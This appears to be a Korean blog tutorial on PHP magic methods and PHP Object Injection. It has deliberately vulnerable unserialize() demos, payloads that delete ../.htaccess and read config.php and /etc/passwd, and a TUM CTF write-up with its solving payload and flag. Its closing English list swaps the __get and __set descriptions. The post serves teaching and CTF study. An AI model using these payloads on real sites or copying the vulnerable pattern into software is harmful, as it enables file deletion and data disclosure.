티스토리 뷰

Programming/PHP

PHP Object Injection

do9dark 2015. 9. 3. 00:58

PHP Object Injection


PHP magic methods

PHP 클래스에는 magic functions라 불리는 특별한 메소드가 있다.

magic functions은 이름을 보면 '__' 으로 시작하는 특징이 있다.

__construct(), __destruct(), __toString(), __sleep(), __wakeup(), ...


__construct()

클래스의 생성자

새로운 Object가 생성될 때마다 메소드 호출


__destruct()

클래스의 소멸자

PHP Script가 끝나면 무작위로 메소드 호출

특정 Object 모든 참조가 삭제된 직후 또는 Object가 명시적으로 파기된 후 메소드 호출


construct_destruct.php:

<?php
    class TestClass {
        // A variable
        public $variable = 'This is a string';
         
        // A simple method
        public function PrintVariable() {
            echo $this->variable . '<br />';
        }
 
        // Constructor
        public function __construct() {
            echo '__construct <br />';
        }
 
        // Destructor     
        public function __destruct() {
            echo '__destruct <br />';
        }
         
        // Call
        public function __toString() {
            return '__toString <br />';
        }
    }
    // Create an object
    // Will call __construct
    $object = new TestClass();
     
    // End of PHP script
    // Will call __destruct 
?>
cs



__toString()

Object를 문자열처럼 출력할 경우 메소드 호출


toString.php:

<?php
    class TestClass {
        // A variable
        public $variable = 'This is a string';
         
        // A simple method
        public function PrintVariable() {
            echo $this->variable . '<br />';
        }
 
        // Constructor
        public function __construct() {
            echo '__construct <br />';
        }
 
        // Destructor     
        public function __destruct() {
            echo '__destruct <br />';
        }
         
        // Call
        public function __toString() {
            return '__toString <br />';
        }
    }
    // Create an object
    // Will call __construct
    $object = new TestClass();
     
    // Call a method
    // Will print 'This is a string'
    $object->PrintVariable();
     
    // Object act as a string
    // Will call __toString
    echo $object;
     
    // End of PHP script
    // Will call __destruct 
?>
cs



echo $object;

에 의해서 __toString() 메소드가 호출된다.


다른 magic methods에 대한 정보는

http://php.net/manual/en/language.oop5.magic.php




PHP Object Serialization

Serialization은 객체를 원형 그대로 복구 가능한 Byte 형태로 변환하는 프로세스이고, Unserialization(Deserialization)은 Serialization을 거친 Byte 형태를 데이터 원형인 객체 형태로 변환하는 프로세스이다.


serialized.php:

<?php
    // Simple class definition
    class User {
        // Class data
        public $age = 0;
        public $name = '';
        // Print data 
        public function PrintData() {
            echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
        }
    }
 
    // Create a user
    $u = new User();
    // Set user data
    $u->age = 20;
    $u->name = 'John';
    // Print data
    $u->PrintData();
    echo '<hr>';
 
    // Serialize object
    $u1 = serialize($u);
    echo 'Serialization: ' . $u1 . '<br /><br />';
 
    // Unserialize object
    $u2 = unserialize($u1);
    echo 'Unserialization: <pre>' . print_r($u2,true) . '</pre>';
 
    // Print data
    echo '<hr>';
    echo $u2->PrintData();
?>
cs


User 객체가 각각 Serialization, Unserialization된 것을 볼 수 있고, 형태도 확인할 수 있다.


아래와 같이 'O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}' 값을 unserialize()를 통해서 객체 형태로 변환하여 데이터를 전달할 수 있다.


deserialized.php:

<?php
    // Simple class definition
    class User {
        // Class data
        public $age = 0;
        public $name = '';
        // Print data
        public function PrintData() {
            echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
        }
    }
 
    // Create a user
    $u = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}');
     
    // Print data
    $u->PrintData();
?>
cs





Serialization magic functions

magic functions 중에서 __sleep() 메소드는 serialized되면 호출 되고 __wakeup() 메소드는 deserialized(unserialized)되면 호출 된다.

단, __sleep() 메소드는 변수 이름을 배열로 반환해줘야 한다.

아래와 같이 return array('variable2''variable4'); 만 반환할 경우 variable2, variable4에 대해서만 직렬화를 하게된다.

__sleep() 메소드가 정의되어 있지 않은 경우에는 모두 직렬화를 수행한다.


sleep_wakeup.php:

<?php
    class Test {
        public $variable1 = 'DO';
        public $variable2 = 'Dark';
        public $variable3 = 'Test';
        public $variable4 = 'White';
         
        public function PrintVariable() {
            echo $this->variable2 . '<br />';
        }
         
        public function __construct() {
            echo '__construct<br />';
        }
         
        public function __destruct() {
            echo '__destruct<br />';
        }
         
        public function __wakeup() {
            echo '__wakeup<br />';
        }
         
        public function __sleep() {
            echo '__sleep<br />';
            return array('variable2''variable4');
        }
    }
 
    // Create an object, will call __construct
    $obj1 = new Test();
 
    // Serialize object, will call __sleep
    $serialized = serialize($obj1);
 
    // Print serialized string
    print 'Serialized: ' . $serialized . '<br />';
 
    // Unserialize string, will call __wakeup
    $obj2 = unserialize($serialized);
 
    // Call PintVariable
    $obj2->PrintVariable();
 
    // PHP script ends, will call __destruct for both objects($obj1 and $obj2)
?>
cs



추가 내용은 

http://php.net/manual/en/language.oop5.serialization.php




PHP Object Injection

PHP Object Injection은 다양하게 발생할 수 있지만 이해를 돕기 위해서 간단하게 예제를 이용하여 설명하였다.


- logfile.php

log 파일의 내용을 출력하는 LogData() 메소드와 해당 객체의 역할이 끝나면 log 파일을 삭제하는 __destruct() 메소드가 구현되어 있다.

<?php
    class LogFile {
        // Specify log filename
        public $filename = 'filename.log';
 
        // Some code
        public function LogData($text) {
            echo 'Log data: ' . $text . '<br />';
            file_put_contents($this->filename, $text, FILE_APPEND);
        }
 
        // Destructor that deletes the log file
        public function __destruct() {
            echo '__destruct deletes "' . $this->filename . '" file. <br />';
            unlink(dirname(__FILE__) . '/' . $this->filename);
        }
    }
?>
cs


- log.php

LogFile() 객체를 생성한 다음 log 파일명(time.log) 지정하고 페이지에 접근한 시간을 출력(LogData() 메소드)한 다음 파일을 생성한다.

<?php
    session_start();
 
    include 'logfile.php';
 
    $_SESSION['log'= time();
 
    // Create an object 
    $obj = new LogFile();
 
    // Set filename and log data
    $obj->filename = 'time.log';
    $obj->LogData($_SESSION['log']);
 
    // Destructor will be called and 'time.log' will be deleted
?>
cs


이 부분까지는 단순히 페이지에 접근한 시간을 출력하고 파일을 생성한 다음에 삭제하는 구조이다.


- logs.php

log.php 파일에 추가로 u 파라미터를 통해 받은 정보를 unserialization을 한 다음 해당 정보는 __wakeup() 메소드에 의해서 출력이 되도록 작성하였다.

<?php
    session_start();
 
    include 'logfile.php';
 
    $_SESSION['log'= time();
 
    // Create an object 
    $obj = new LogFile();
 
    // Set filename and log data
    $obj->filename = 'time.log';
    $obj->LogData($_SESSION['log']);
 
    // Simple class definition
    class User {
        // Class data
        public $age = 0;
        public $name = '';
 
        public function __wakeup() {
            echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
        }
    }
 
    // Unserialize user supplied data
    unserialize($_GET['u']);
?>
cs


logs.php?u=O:4:"User":2:{s:3:"age";i:27;s:4:"name";s:13:"Do-hyeong Kim";}


정상적으로 페이지에 접근한 시간과 파라미터로 전달받은 User 정보를 출력한 것을 확인할 수 있다.


여기에서 u 파라미터를 통해 User 클래스의 정보가 아니라 LogFile 클래스의 정보를 넘겨주면 unserialize() 함수에 의해 LogFile 클래스의 객체 값이 생성되었다가 사라지면서 LogFile 클래스의 __destruct() 메소드에 의해서 임의로 파일을 지정하여 삭제할 수 있다.


파일 삭제를 확인하기 위해서 상위 디렉터리(magic)에 .htaccess 파일을 생성을 한 다음 아래와 같이 데이터를 전달하였다.


logs.php?u=O:7:"LogFile":1:{s:8:"filename";s:12:"../.htaccess";}


PHP Object injection으로 인해 .htaccess 파일이 삭제된 것을 확인할 수 있다.




Common injection points

앞에서 살펴본 것과 같이 PHP Object Injection은 보통 __wakeup(), __destruct() 메소드에 의해 발생되는 경우가 많지만, 중요한 것은 어플리케이션의 코드 흐름이 어떻게 되느냐에 따라서 공격 지점은 다양하게 발생할 수 있다.


__toString() 메소드가 취약한 경우


string.php:

<?php
    // ... In some other included file ...
    class FileClass {
        // Filename variable
        public $filename = 'filename.log';
 
        // Object used as a string displays the file contents
        public function __toString() {
            return file_get_contents($this->filename);
        }
    }
 
    // Main User class
    class User {
        // Class data
        public $age = 0;
        public $name = '';
 
        // Allow object to be used as a String  
        public function __toString() {
            return 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />';
        }
    }
 
    // Expected: a serialized User object 
    $obj = unserialize($_GET['u']);
 
    // Will call __toString method of the unserialized object
    echo $obj;
?>
cs


string.php?u=O:4:"User":2:{s:3:"age";i:27;s:4:"name";s:13:"Do-hyeong Kim";}



$obj = unserialize($_GET['u']);

를 통해 객체 정보를 받은 다음에 

echo $obj;

에 의해서 __toString() 메소드가 호출이 되면서 User 정보가 출력이 된다.

하지만, FileClass 클래스도 __toString() 메소드가 있기 때문에 User 클래스 정보 대신에 파일의 내용을 보고 싶은 파일명으로 FileClass 클래스에 대한 값들을 작성해주면 볼 수 없는 파일의 내용들도 확인할 수 있다.


string.php?u=O:9:"FileClass":1:{s:8:"filename";s:10:"config.php";}



string.php?u=O:9:"FileClass":1:{s:8:"filename";s:11:"/etc/passwd";}

와 같이 시스템 내부 파일에 대해서도 볼 수 있다.




CTF (TUM CTF)

CTF에서 PHP Object Injection을 이용한 문제가 출제되어 추가로 작성하였습니다.


free_as_in_bavarian_beer (WEB, 50)


문제에서 주어진 사이트(http://104.154.70.126:10888)에 접속하면 다음과 같은 화면을 맞이하게 된다.

TODO List를 작성할 수 있는 기능이 있으며, 이것은 매우 안전하다고 자부하면서 코드를 공개해놓았다.


코드를 보면 먼저 License.txt 파일을 볼 수 있다.


아래쪽에서 실제 사용되는 코드를 볼 수 있다.

코드를 보면 GET 파라미터에 source가 있으면 GPLSourceBloater 클래스를 객체화하여 source에 __FILE__를 저장해주고 해당 객체를 echo로 출력해준다. 이렇게 되면 __toString()가 동작되어 __toString()에 명시한대로 license.txt 파일을 출력하고 __FILE__을 이어서 출력하게 된다.


그리고 쿠키에 저장된 값을 가져와서 앞 부분 32자리와 뒷 부분을 md5한 값이 같을 경우 뒷 부분을 unserialize하여 todos에 저장하고 소스 가장 마지막(foreach) 부분에서 하나씩 출력이 된다.

다음으로 POST 파라미터로 text가 있으면 해당 값을 md5와 serialize한 다음, 합쳐서 쿠키로 저장하여 입력한 내용이 유지될 수 있도록 처리가 되어 있는 것을 확인할 수 있다.


값을 입력할 수 있는 부분은 $_POST['text']와 $_COOKIE['todos']가 있으나 이 부분만을 가지고 flag.php 파일을 읽기에는 역부족이다. 


코드를 살펴보면 GPLSourceBloater 클래스에 __toString()이라는 magic methods가 있는 것을 확인할 수 있고 source에 __FILE__ 대신 flag.php를 넣어서 호출하면 flag.php 파일을 읽을 수가 있다.

따라서, unserialize를 이용해서 클래스를 객체화하여 source에는 flag.php를 넣으면 된다.


단순하게 O:16:"GPLSourceBloater":1:{s:6:"source";s:8:"flag.php";} 와 같이 하게되면 GPLSourceBloater Object ( [source] => flag.php ) 와 같은 모양이 되어 foreach 문에 의해서 flag.php 라는 단순한 문자열만 출력이 된다.


__toString() 메소드가 호출되기 위해서는 해당 객체가 출력되어야 하기 때문에 배열로 한번 감싸준다. 

a:1:{i:0;O:16:"GPLSourceBloater":1:{s:6:"source";s:8:"flag.php";}}


Array ( [0] => GPLSourceBloater Object ( [source] => flag.php ) )

이렇게 되면 배열의 첫 번째 값인 객체가 출력되면서 해당 클래스의 __toString()이 호출되게 되고 호출되면서 source는 flag.php라고 명시했기 때문에 다음과 같이 flag.php 파일을 읽을 수가 있다.


Flag: hxp{Are you glad that at least Java(TM) isn't affected by serialization bugs?}


여담으로 처음에는 아래 코드와 같이 생각해서 문제를 풀었었다.

<?php
Class GPLSourceBloater{
    public function __toString()
    {   
        return highlight_file('license.txt'true).highlight_file($this->source, true);
    }   
}
 
class ObjectInjection {
    public $obj;
    function __construct() {
        $this->obj = new GPLSourceBloater;
        $this->obj->source = 'flag.php';
        echo $this->obj;
    }  
}
 
$m = urlencode(serialize(new ObjectInjection));
$h = md5(serialize(new ObjectInjection));
 
echo $h.$m;
?>
cs


O:15:"ObjectInjection":1:{s:3:"obj";O:16:"GPLSourceBloater":1:{s:6:"source";s:8:"flag.php";}}


__PHP_Incomplete_Class Object ( [__PHP_Incomplete_Class_Name] => ObjectInjection [obj] => GPLSourceBloater Object ( [source] => flag.php ) )


e42d73fd5f5f7265ae8f9019c09cd929O%3A15%3A%22ObjectInjection%22%3A1%3A%7Bs%3A3%3A%22obj%22%3BO%3A16%3A%22GPLSourceBloater%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D


생각한 의도와 다르게 오브젝트의 형태가 배열과 같이 되어 문제를 해결할 수 있었다.




Conclusion

해당 취약점은 소스 코드의 흐름을 알아야 하기 때문에 소스 코드가 없다면 찾기가 어렵고, 소스 코드가 있다고 하더라도 취약한 부분을 찾기가 어렵지만 취약한 부분이 있을 경우에 앞에서 설명한 것 외에도 SQL Injection, 원격 코드 실행 등 다양한 공격이 가능하기 때문에 매우 위험한 취약점이다. 

또, 우리가 자주 접하는 WordPress, Joomla, Magento, IP Board 등 다양한 곳에서 발견되고 있기 때문에 계속해서 연구를 해 볼 필요성이 있다.



__construct()

Gets called when a new object is created.

__destruct()

Called when there are no more references to an object or when an object is destroyed manually. Also, when the script ends, all destructors are called. This is called even if exit()/exit was given, unless it's given inside the destructor.

__call()

Happens when attempting to invoke an inacessible method in an object context.

Ex: $obj = newMethod; $obj->inaccessible();

__callStatic()

Same as __call, but in a static context.

Ex: Method::inaccessible();

__get()

Triggered when writing data to inaccessible properties.

__set()

Triggered when reading data to inaccessible properties.

__isset()

When isset() or empty() is called on inaccessible properties.

__unset()

When unset() is used on inaccessible properties.

__sleep()

This function is executed prior to serialization to give extra time to finish possibly pending values to be serialized. Usually just returns an array of variable names for the object.

__wakeup()

Unserialize() triggers this to allow reconstruction of resources to be used in conjunction with or needed for the unserialized PHP values.

__toString()

This triggers when you treat a class like a string. Prior to PHP 5.2.0 only echo or print would trigger this. Now it can happen in any string context like printf.

Ex: echo $class;

__invoke()

Hit when trying to call an object like a function.

Ex: $class('hi');

__set_state()

When a class is exported by var_export, this is executed. This will only contain an array of the exported class properties.

__clone()

The function ran when cloning an object.

'Programming > PHP' 카테고리의 다른 글

POSIX Regex와 PCRE Regex  (0) 2015.10.20
strcmp() 취약점  (0) 2015.10.18
'(single-quotes)와 "(double-quotes)의 차이  (0) 2015.02.03
댓글
댓글쓰기 폼
«   2022/10   »
            1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29
30 31          
링크
공지사항
Total
136,862
Today
3
Yesterday
39